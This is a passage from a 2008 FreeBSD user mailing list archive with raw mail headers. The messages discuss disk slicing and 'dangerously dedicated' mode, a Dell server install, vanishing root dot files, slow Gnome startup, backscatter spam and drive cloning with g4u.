vGtYZyN63MmHM7O4VhxA5ZBmbG3Zu+0xqmnEC8ATbWW6tIZQwSYZFBGJScmAwoYEzgue tuQ8rMSYz+BL0lryH8hyTObEl5WhBkMMAIA0Y= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:to:subject:cc:in-reply-to:mime-version :content-type:content-transfer-encoding:content-disposition :references; b=cTEQI7Qcq73SMpeLCf0jo9oEhpasdgEv/SyekaegbNq41CF1/bDEYM5HsLUd9rSA56 Q4UvyTXn1+xrH52ZaA7GGXNkxVN+2RBd4jpIOcV01iYCy0JS3rhNZI/AKiyjutHrPuqT 6X3ZSqh49CY6oxkLQXuliakSFRgojkX8qi+ec= Received: by 10.100.209.5 with SMTP id h5mr8469886ang.79.1228402944350; Thu, 04 Dec 2008 07:02:24 -0800 (PST) Received: by 10.100.13.13 with HTTP; Thu, 4 Dec 2008 07:02:24 -0800 (PST) Message-ID: <30fc78250812040702i76a27954m13891d5c1b51e7c9@mail.gmail.com> Date: Thu, 4 Dec 2008 17:02:24 +0200 From: "Aggelidis Nikos" To: Polytropon In-Reply-To: <20081203143614.bd0ef0cc.freebsd@edvax.de> MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit Content-Disposition: inline References: <30fc78250812020007h22ab0dc4if044e46b4f36b00c@mail.gmail.com> <20081202093544.a5cb8a21.freebsd@edvax.de> <30fc78250812022358v1970b4f6x6a1d6b3c9ca8f0c8@mail.gmail.com> <20081203143614.bd0ef0cc.freebsd@edvax.de> Cc: freebsd-questions@freebsd.org Subject: Re: open multiple xterms with script X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 Dec 2008 15:02:25 -0000 Thank you George and Polytropon that seems to do the trick... From owner-freebsd-questions@FreeBSD.ORG Thu Dec 4 15:46:27 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 3C0231065673 for ; Thu, 4 Dec 2008 15:46:27 +0000 (UTC) (envelope-from roberthuff@rcn.com) Received: from smtp02.lnh.mail.rcn.net (smtp02.lnh.mail.rcn.net [207.172.157.102]) by mx1.freebsd.org (Postfix) with ESMTP id E4CFC8FC24 for ; Thu, 4 Dec 2008 15:46:26 +0000 (UTC) (envelope-from roberthuff@rcn.com) Received: from mr02.lnh.mail.rcn.net ([207.172.157.22]) by smtp02.lnh.mail.rcn.net with ESMTP; 04 Dec 2008 10:46:25 -0500 Received: from smtp01.lnh.mail.rcn.net (smtp01.lnh.mail.rcn.net [207.172.4.11]) by mr02.lnh.mail.rcn.net (MOS 3.8.6-GA) with ESMTP id PHH02228; Thu, 4 Dec 2008 10:46:25 -0500 (EST) Received: from unknown (HELO jerusalem.litteratus.org.litteratus.org) ([209.6.22.188]) by smtp01.lnh.mail.rcn.net with ESMTP; 04 Dec 2008 10:46:20 -0500 From: Robert Huff MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <18743.64331.385135.317523@jerusalem.litteratus.org> Date: Thu, 4 Dec 2008 10:46:19 -0500 To: Da Rock In-Reply-To: <1228359465.23645.27.camel@laptop1.herveybayaustralia.com.au> References: <20081202111740.96805018.freebsd@edvax.de> <20081202163920.GE90039@gizmo.acns.msu.edu> <1228355243.23645.10.camel@laptop1.herveybayaustralia.com.au> <18743.14461.951431.581673@jerusalem.litteratus.org> <1228359465.23645.27.camel@laptop1.herveybayaustralia.com.au> X-Mailer: VM 7.17 under 21.5 (beta28) "fuki" XEmacs Lucid X-Junkmail-Whitelist: YES (by domain whitelist at mr02.lnh.mail.rcn.net) Cc: freebsd-questions@freebsd.org Subject: Re: UFS partitioning X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 Dec 2008 15:46:27 -0000 Da Rock writes: > > > Excuse my nose in here- I just have a couple of questions. > > > > > > 1) It IS possible to boot from a dedicated disk? > > > > Yes. Can't remember the last time I used anything else. > > So you've never booted from a disk that has been partitioned as a file > system? I have never booted a FreeBSD system from a disk which contained any other operating system. I have only used "dangerously dadicated" mode for FreeBSD, except when sysinstall made selecting/implementing that too much work. Clear? Robert Huff From owner-freebsd-questions@FreeBSD.ORG Thu Dec 4 15:46:41 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 28CA91065679 for ; Thu, 4 Dec 2008 15:46:41 +0000 (UTC) (envelope-from jerrymc@gizmo.acns.msu.edu) Received: from gizmo.acns.msu.edu (gizmo.acns.msu.edu [35.8.1.43]) by mx1.freebsd.org (Postfix) with ESMTP id D85348FC18 for ; Thu, 4 Dec 2008 15:46:40 +0000 (UTC) (envelope-from jerrymc@gizmo.acns.msu.edu) Received: from gizmo.acns.msu.edu (localhost [127.0.0.1]) by gizmo.acns.msu.edu (8.13.6/8.13.6) with ESMTP id mB4FfaFv001386; Thu, 4 Dec 2008 10:41:36 -0500 (EST) (envelope-from jerrymc@gizmo.acns.msu.edu) Received: (from jerrymc@localhost) by gizmo.acns.msu.edu (8.13.6/8.13.6/Submit) id mB4FfaSm001385; Thu, 4 Dec 2008 10:41:36 -0500 (EST) (envelope-from jerrymc) Date: Thu, 4 Dec 2008 10:41:36 -0500 From: Jerry McAllister To: Da Rock Message-ID: <20081204154136.GA1366@gizmo.acns.msu.edu> References: <20081202111740.96805018.freebsd@edvax.de> <20081202163920.GE90039@gizmo.acns.msu.edu> <1228355243.23645.10.camel@laptop1.herveybayaustralia.com.au> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1228355243.23645.10.camel@laptop1.herveybayaustralia.com.au> User-Agent: Mutt/1.4.2.2i Cc: freebsd-questions@freebsd.org Subject: Re: UFS partitioning X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 Dec 2008 15:46:41 -0000 On Thu, Dec 04, 2008 at 11:47:23AM +1000, Da Rock wrote: > > On Tue, 2008-12-02 at 11:39 -0500, Jerry McAllister wrote: > > On Tue, Dec 02, 2008 at 11:17:40AM +0100, Polytropon wrote: > > > > > On Tue, 2 Dec 2008 10:56:44 +0100 (CET), Pieter Donche wrote: > > > > If FreeBSD is to put on the system as only operating system (Fdisk: > > > > "A = Use Entire disk"), then will the BSD-partitions will show up as > > > > ad0a (/), ad0b (swap), ad0d (/var) etc... correct or not (then what)? > > > > > > You're mixing terminology here. :-) The "use entire disk" will > > > create a slice for FreeBSD covering the complete disk. A slice > > > is what MICROS~1 calls "primary partition". > > > > > > Now the conclusion: Let's say you create a slice on ad0, it will > > > be ad0s1. Now you can create partitions inside this slice as you > > > mentioned it, e. g. ad0s1a = /, ad0s1b = swap, ad0s1d = /tmp, > > > ad0s1e = /var, ad0s1f = /usr and ad0s1g = /home. > > > > True. Too bad MS had to use the same terminology for slices > > as FreeBSD uses for subdivisions of slices. But, it won't be > > undone now, so the confusion will continue. > > > > > But if you're > > > refering to ad0a, ad0b, ad0d etc. you're stating that there's > > > no slice, implying that (if I see this correctly) it isn't possible > > > to boot from that disk. > > > > It is correct that this would imply no slice being created. > > But it is not correct that it could not be bootable. You can > > use bsdlabel to write the boot sector to ad0 instead of ad0s1 > > and it would be bootable - but would be what someone has enjoyed > > describing as a 'dangerously dedicated' disk. FreeBSD can deal > > with it, but other systems cannot. > > > > I don't know if you can do this from sysinstall though. I have > > never tried. But, it can be done by running bsdlabel by hand. > > > > > Of couse, if you would intend to use > > > a (physical) second disk for only the home partition, you could > > > omit the slice and the partition and simply newfs ad1 - but > > > that wasn't your question. > > > > Probably the 'dangerously dedicated' disk is more often used this > > way as an additional (second) drive that is not made bootable. > > > > In that case, it is unlikely that one would mount any of the > > partitions on '/' making it the root filesystem. That may > > be a problem. But, otherwise this looks probable or more likely > > it would have some swap to add to the first disk and all the > > rest in either the a or d partitions mounted as something > > like '/work' or /scratch'. > > > > > > > > ad0 |-----------------------------------------------| the whole disk > > > ad0s1 \----------------------------------------------/ one slice > > > ad0s1X \--/\---/\-----/\-----/\-------/\------------/ partitions > > > a b d e f g > > > / swap /tmp /var /usr /home mount point > > Excuse my nose in here- I just have a couple of questions. > > 1) It IS possible to boot from a dedicated disk? Yes, as described above. > 2) Does using dedicated mode increase the space available to use? > Partitioning normally takes up space so a HDD loses about 10% of usable > space doesn't it, so the space used by partitioning is can now be used > as filespace. No. Slicing and Partitioning take up negligible space. Building a file system on the disk/slice/partition takes up a chunk. The most is taken up by an 8% (by default) reserve that is held back for root use when a file system is built. ////jerry > > These questions are all theoretical: I've only read in passing about > dedicated mode, but the use of this would be highly specialised by > extension. > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" From owner-freebsd-questions@FreeBSD.ORG Thu Dec 4 15:54:26 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id CA20C106564A for ; Thu, 4 Dec 2008 15:54:26 +0000 (UTC) (envelope-from jerrymc@gizmo.acns.msu.edu) Received: from gizmo.acns.msu.edu (gizmo.acns.msu.edu [35.8.1.43]) by mx1.freebsd.org (Postfix) with ESMTP id 899888FC1B for ; Thu, 4 Dec 2008 15:54:26 +0000 (UTC) (envelope-from jerrymc@gizmo.acns.msu.edu) Received: from gizmo.acns.msu.edu (localhost [127.0.0.1]) by gizmo.acns.msu.edu (8.13.6/8.13.6) with ESMTP id mB4FnN5g001426; Thu, 4 Dec 2008 10:49:23 -0500 (EST) (envelope-from jerrymc@gizmo.acns.msu.edu) Received: (from jerrymc@localhost) by gizmo.acns.msu.edu (8.13.6/8.13.6/Submit) id mB4FnNjJ001425; Thu, 4 Dec 2008 10:49:23 -0500 (EST) (envelope-from jerrymc) Date: Thu, 4 Dec 2008 10:49:23 -0500 From: Jerry McAllister To: Da Rock Message-ID: <20081204154923.GB1366@gizmo.acns.msu.edu> References: <20081202111740.96805018.freebsd@edvax.de> <20081202163920.GE90039@gizmo.acns.msu.edu> <1228355243.23645.10.camel@laptop1.herveybayaustralia.com.au> <18743.14461.951431.581673@jerusalem.litteratus.org> <1228359465.23645.27.camel@laptop1.herveybayaustralia.com.au> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1228359465.23645.27.camel@laptop1.herveybayaustralia.com.au> User-Agent: Mutt/1.4.2.2i Cc: freebsd-questions@freebsd.org Subject: Re: UFS partitioning X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 Dec 2008 15:54:26 -0000 On Thu, Dec 04, 2008 at 12:57:45PM +1000, Da Rock wrote: > > On Wed, 2008-12-03 at 20:55 -0500, Robert Huff wrote: > > Da Rock writes: > > > > > Excuse my nose in here- I just have a couple of questions. > > > > > > 1) It IS possible to boot from a dedicated disk? > > > > Yes. Can't remember the last time I used anything else. > > So you've never booted from a disk that has been partitioned as a file > system? You are getting your terms scrambled here. Partitioning has nothing directly to do with creating a file system. You can build a filesystem (with newfs) on just about any piece of disk whether it is the whole disk, a slice of the disk or a partition of a slice. Making one of those divisions bootable is also pretty much an independant operation too, though as far as I know, only whole disks and slices can be made bootable but not partitions - the fact that the partition contains the system files is not what makes it bootable. Being bootable is dependant on the boot sector which gets the control from either the BIOS or an MBR and then finds the system partition (/), mounts it (Read Only) and finds system files and starts those things running. ////jerry > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" From owner-freebsd-questions@FreeBSD.ORG Thu Dec 4 15:57:56 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id E4A161065672 for ; Thu, 4 Dec 2008 15:57:56 +0000 (UTC) (envelope-from cboyd@gizmopartners.com) Received: from mailsafe.midasnetworks.com (mailsafe.midasnetworks.com [216.110.12.7]) by mx1.freebsd.org (Postfix) with ESMTP id B72A68FC1A for ; Thu, 4 Dec 2008 15:57:56 +0000 (UTC) (envelope-from cboyd@gizmopartners.com) Received: from [10.10.10.145] (sunfish.midasnetworks.com [208.81.240.41]) (authenticated bits=0) by mailsafe.midasnetworks.com (8.14.2/8.14.1) with ESMTP id mB4Fvu6F040858 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=NO); Thu, 4 Dec 2008 09:57:56 -0600 (CST) (envelope-from cboyd@gizmopartners.com) Message-Id: <3A1117D1-3857-4F45-984A-1CB1CACC133F@gizmopartners.com> From: Chris Boyd To: Tim Judd In-Reply-To: Content-Type: text/plain; charset=US-ASCII; format=flowed; delsp=yes Content-Transfer-Encoding: 7bit Mime-Version: 1.0 (Apple Message framework v929.2) Date: Thu, 4 Dec 2008 09:57:54 -0600 References: <31B0BD29-CAE5-452B-BB24-24ACC39FD2E6@gizmopartners.com> X-Mailer: Apple Mail (2.929.2) Cc: freebsd-questions@freebsd.org Subject: Re: Installation on a Dell Poweredge R805 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 Dec 2008 15:57:57 -0000 On Dec 4, 2008, at 1:29 AM, Tim Judd wrote: > 1: PERC6 is not listed as supported, last time I checked. > 2: Dells are notorious for not working very well with !Windows, ! > Linux (haven't tried something like Open Solaris) > > I have a new PE2950's at the office, FreeBSD sees everything, > including the PERC6i controller, but the motherboard NICs are > suffering horribly bad for performance. Ping flood from the console > to it's own IP address bound to the NIC looses 30% of it's packets. > Also, what's "NIC2" on the motherboard/case labeling, is the first > NIC FreeBSD finds. NIC1 is the 2nd nic FreeBSD finds. Just oddities. Thanks, Tim. The R805 RAID is actually an LSI controller, supported by the mpt driver. The 7.1 version has some updates that make it work on this box. We're just down the road from Dell, so it's hard to avoid them :-) Agreed on the bce NIC. That NIC seems to be complete junk. It gives me fits no matter what OS drives it. In any case, for the archives, if you have an October 2008 or later production PE R805, you need to use FreeBSD 7.1 for an out of the box installation. --Chris From owner-freebsd-questions@FreeBSD.ORG Thu Dec 4 17:34:26 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id D774C1065673 for ; Thu, 4 Dec 2008 17:34:26 +0000 (UTC) (envelope-from keramida@ceid.upatras.gr) Received: from igloo.linux.gr (igloo.linux.gr [62.1.205.36]) by mx1.freebsd.org (Postfix) with ESMTP id 1BCA98FC18 for ; Thu, 4 Dec 2008 17:34:25 +0000 (UTC) (envelope-from keramida@ceid.upatras.gr) Received: from kobe.laptop (adsl37-141.kln.forthnet.gr [77.49.164.141]) (authenticated bits=128) by igloo.linux.gr (8.14.3/8.14.3/Debian-5) with ESMTP id mB4HY2X3027803 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Thu, 4 Dec 2008 19:34:08 +0200 Received: from kobe.laptop (kobe.laptop [127.0.0.1]) by kobe.laptop (8.14.3/8.14.3) with ESMTP id mB4HXwdW005256; Thu, 4 Dec 2008 19:33:58 +0200 (EET) (envelope-from keramida@ceid.upatras.gr) Received: (from keramida@localhost) by kobe.laptop (8.14.3/8.14.3/Submit) id mB4HXvfU005255; Thu, 4 Dec 2008 19:33:57 +0200 (EET) (envelope-from keramida@ceid.upatras.gr) From: Giorgos Keramidas To: Derek Ragona References: <6.0.0.22.2.20081203192259.0241ef88@mail.computinginnovations.com> <49374418.6060709@FreeBSD.org> <6.0.0.22.2.20081204062415.026b7c80@mail.computinginnovations.com> Date: Thu, 04 Dec 2008 19:33:56 +0200 In-Reply-To: <6.0.0.22.2.20081204062415.026b7c80@mail.computinginnovations.com> (Derek Ragona's message of "Thu, 04 Dec 2008 06:30:13 -0600") Message-ID: <87tz9jzvy3.fsf@kobe.laptop> User-Agent: Gnus/5.13 (Gnus v5.13) Emacs/23.0.60 (berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-MailScanner-ID: mB4HY2X3027803 X-Hellug-MailScanner: Found to be clean X-Hellug-MailScanner-SpamCheck: not spam, SpamAssassin (not cached, score=-3.858, required 5, autolearn=not spam, ALL_TRUSTED -1.80, AWL 0.54, BAYES_00 -2.60) X-Hellug-MailScanner-From: keramida@ceid.upatras.gr X-Spam-Status: No Cc: Tim Judd , Kris Kennaway , freebsd-questions@freebsd.org Subject: Re: what script is whacking root's files X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 Dec 2008 17:34:26 -0000 On Thu, 04 Dec 2008 06:30:13 -0600, Derek Ragona wrote: > /root is on /dev/da0s1a > > This particular server is running in a VM on a vmware esx 3.5 server. > The server runs fine, but every so often the dot files disappear for > root. I have not found the behavior to follow a reboot, but some period > of time. Hence my suspicions it was a periodic script. Check your crontab jobs then. * Do you have any local changes to the system crontab in `/etc/crontab'? If yes, what are those changes, and what do the scripts or other commands they run look like? * Do you have a user-specific crontab file for `root' in `/var/cron/tabs/root'? If yes what does it contain? From owner-freebsd-questions@FreeBSD.ORG Thu Dec 4 18:19:21 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 0BC13106564A for ; Thu, 4 Dec 2008 18:19:21 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (wojtek.tensor.gdynia.pl [IPv6:2001:4070:101:2::1]) by mx1.freebsd.org (Postfix) with ESMTP id 4979D8FC14 for ; Thu, 4 Dec 2008 18:19:19 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (localhost [IPv6:::1]) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3) with ESMTP id mB4IJ279054929; Thu, 4 Dec 2008 19:19:02 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from localhost (wojtek@localhost) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3/Submit) with ESMTP id mB4IJ1CA054926; Thu, 4 Dec 2008 19:19:02 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Date: Thu, 4 Dec 2008 19:19:01 +0100 (CET) From: Wojciech Puchar To: Robert Huff In-Reply-To: <18743.64331.385135.317523@jerusalem.litteratus.org> Message-ID: <20081204191837.E54911@wojtek.tensor.gdynia.pl> References: <20081202111740.96805018.freebsd@edvax.de> <20081202163920.GE90039@gizmo.acns.msu.edu> <1228355243.23645.10.camel@laptop1.herveybayaustralia.com.au> <18743.14461.951431.581673@jerusalem.litteratus.org> <1228359465.23645.27.camel@laptop1.herveybayaustralia.com.au> <18743.64331.385135.317523@jerusalem.litteratus.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: Da Rock , freebsd-questions@freebsd.org Subject: Re: UFS partitioning X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 Dec 2008 18:19:21 -0000 > > I have never booted a FreeBSD system from a disk which > contained any other operating system. > I have only used "dangerously dadicated" mode for FreeBSD, > except when sysinstall made selecting/implementing that too much > work. almost like me except i don't use sysinstall, and manually i don't create slices From owner-freebsd-questions@FreeBSD.ORG Thu Dec 4 18:51:34 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 66CFC1065676 for ; Thu, 4 Dec 2008 18:51:34 +0000 (UTC) (envelope-from fernando.apesteguia@gmail.com) Received: from mail-qy0-f18.google.com (mail-qy0-f18.google.com [209.85.221.18]) by mx1.freebsd.org (Postfix) with ESMTP id 1FDF48FC1C for ; Thu, 4 Dec 2008 18:51:33 +0000 (UTC) (envelope-from fernando.apesteguia@gmail.com) Received: by qyk11 with SMTP id 11so5224744qyk.19 for ; Thu, 04 Dec 2008 10:51:33 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from:to :subject:mime-version:content-type:content-transfer-encoding :content-disposition; bh=/93G2kXyO5a1B3nECsDXH/HIciwq0bVO+1Wq0IQyv2I=; b=aDTuskqLv9ch4F642ai248oOdm2vpX0SIvu7DopsMTPzZTHrAl+yOs4JuM1E+1m8Mx Y1ucNl++SLqSfi0NVJSwmIosr8QtltMwIzR9bdqR4sph8nbGotD+vY1INgHZoi2bSq7i IPJRX0CLOS+Mbkrvim419p6iiePk10QTg4mcI= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:to:subject:mime-version:content-type :content-transfer-encoding:content-disposition; b=dVCc7s4D9ropGXBjVdqtjQEQK4Xum4fVWAQYGWRQH2E/s5usbTzBVzpoGWH0ffulRA 2J5ntrL09Slr3087FmL4lZwB+lUXEBW0ZP5VrMJbSryZsm55pfDBlZ5ijfSUYvpuBtyj cY9ZnBsc2BgxmTwjml1GTCFxxI5RuHc2jCOz8= Received: by 10.142.107.7 with SMTP id f7mr3552083wfc.212.1228416692782; Thu, 04 Dec 2008 10:51:32 -0800 (PST) Received: by 10.142.180.20 with HTTP; Thu, 4 Dec 2008 10:51:32 -0800 (PST) Message-ID: <1bd550a00812041051safe005bj8ee50bdf97583ae3@mail.gmail.com> Date: Thu, 4 Dec 2008 19:51:32 +0100 From: "=?ISO-8859-1?Q?Fernando_Apestegu=EDa?=" To: FreeBSD MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline Subject: Gnome slow at start up X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 Dec 2008 18:51:34 -0000 Hi all, I'm running FreeBSD 7.1-BETA 2 and I have some problems with Gnome at start up. When I type startx, I get the gnome desktop and the nice border-less window in which I can see components loading. However, after the gnome-panel icon, it seems to stall. some time later (around a minute or two) nautilus seems to run and I get all the icons at my desktop. I have dbus_enable="YES" hald_enable="YES" in my rc.conf and I can see, both are running. I have the entries suggested in http://www.freebsd.org/gnome/docs/faq2.html#q20 added to my /etc/hosts and I can verify with ping that I don't have any problems with name resolution. I also have both net.inet.tcp.backhole and net.inet.udp.blackhole set to 0. What's the problem? How can I see which process is stalled during start up? Any help is appreciated. Thanks in advance. From owner-freebsd-questions@FreeBSD.ORG Thu Dec 4 20:01:11 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id B44E01065672 for ; Thu, 4 Dec 2008 20:01:11 +0000 (UTC) (envelope-from tedm@toybox.placo.com) Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [65.75.192.90]) by mx1.freebsd.org (Postfix) with ESMTP id 7D1008FC2A for ; Thu, 4 Dec 2008 20:01:11 +0000 (UTC) (envelope-from tedm@toybox.placo.com) Received: from TEDSDSK (nat-rtr.freebsd-corp-net-guide.com [65.75.197.130]) by mail.freebsd-corp-net-guide.com (8.13.8/8.13.8) with SMTP id mB4K178B073250; Thu, 4 Dec 2008 12:01:09 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: , Date: Thu, 4 Dec 2008 12:02:19 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) In-Reply-To: <4350a4b5$51c751bd$e80afc0$@com> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1933 Importance: Normal X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-3.0 (mail.freebsd-corp-net-guide.com [65.75.192.90]); Thu, 04 Dec 2008 12:01:10 -0800 (PST) Cc: Subject: RE: mail server X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 Dec 2008 20:01:11 -0000 > -----Original Message----- > From: owner-freebsd-questions@freebsd.org > [mailto:owner-freebsd-questions@freebsd.org]On Behalf Of Karlos Linale > Sent: Sunday, November 23, 2008 10:20 AM > To: freebsd-questions@freebsd.org > Subject: mail server > > > Hello, > > I was wondering if you could help me. > > For some reason I keep getting hundreds of emails on my mail server spool > which are being sent to your email address. Are you able to tell > me how and > why this is happening? > Google "Backscatter" Ted From owner-freebsd-questions@FreeBSD.ORG Thu Dec 4 20:44:41 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id CC8781065670 for ; Thu, 4 Dec 2008 20:44:41 +0000 (UTC) (envelope-from jnatola@familycareintl.org) Received: from mail.familycareintl.org (static-64-61-120-78.isp.broadviewnet.net [64.61.120.78]) by mx1.freebsd.org (Postfix) with ESMTP id 8DF4F8FC16 for ; Thu, 4 Dec 2008 20:44:41 +0000 (UTC) (envelope-from jnatola@familycareintl.org) X-MimeOLE: Produced By Microsoft Exchange V6.5 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Date: Thu, 4 Dec 2008 15:44:40 -0500 Message-ID: <3A85D7EF44E1C744BF6434691F5659E9015E400A@www.fcimail.org> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: G4U inquiry Thread-Index: AclWUSFEVStkiez7TQCWsLvsou8KAQ== From: "Jean-Paul Natola" To: "FreeBSD Questions" Subject: G4U inquiry X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 Dec 2008 20:44:41 -0000 Hi all, I have a bsd box with a 12 gig drive- I'm going to get a new drive = (larger) to replace it as it is quite old and slow - My question is when I clone it with g4u where will the extra space go The drive is currently sliced like this Filesystem Size Used Avail Capacity Mounted on /dev/ad0s1a 496M 76M 381M 17% / devfs 1.0K 1.0K 0B 100% /dev /dev/ad0s1e 496M 11M 445M 3% /tmp /dev/ad0s1f 9.0G 1.4G 6.8G 17% /usr /dev/ad0s1d 1.4G 301M 1.0G 22% /var tia From owner-freebsd-questions@FreeBSD.ORG Thu Dec 4 21:00:11 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 5D0F51065673 for ; Thu, 4 Dec 2008 21:00:11 +0000 (UTC) (envelope-from perlcat@alltel.net) Received: from ispmxmta06-srv.windstream.net (ispmxmta06-srv.windstream.net [166.102.165.167]) by mx1.freebsd.org (Postfix) with ESMTP id F005E8FC20 for ; Thu, 4 Dec 2008 21:00:10 +0000 (UTC) (envelope-from perlcat@alltel.net) Received: from ispmxaamta04-gx.windstream.net ([67.206.61.15]) by ispmxmta06-srv.windstream.net with ESMTP id <20081204210010.LEQT22277.ispmxmta06-srv.windstream.net@ispmxaamta04-gx.windstream.net> for ; Thu, 4 Dec 2008 15:00:10 -0600 Received: from ext-b14-271.omhq.uprr.com ([67.206.61.15]) by ispmxaamta04-gx.windstream.net with ESMTP id <20081204210010.RMIY10030.ispmxaamta04-gx.windstream.net@ext-b14-271.omhq.uprr.com> for ; Thu, 4 Dec 2008 15:00:10 -0600 From: Tyson Boellstorff To: freebsd-questions@freebsd.org Date: Thu, 4 Dec 2008 15:00:09 -0600 User-Agent: KMail/1.9.7 References: <3A85D7EF44E1C744BF6434691F5659E9015E400A@www.fcimail.org> In-Reply-To: <3A85D7EF44E1C744BF6434691F5659E9015E400A@www.fcimail.org> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: 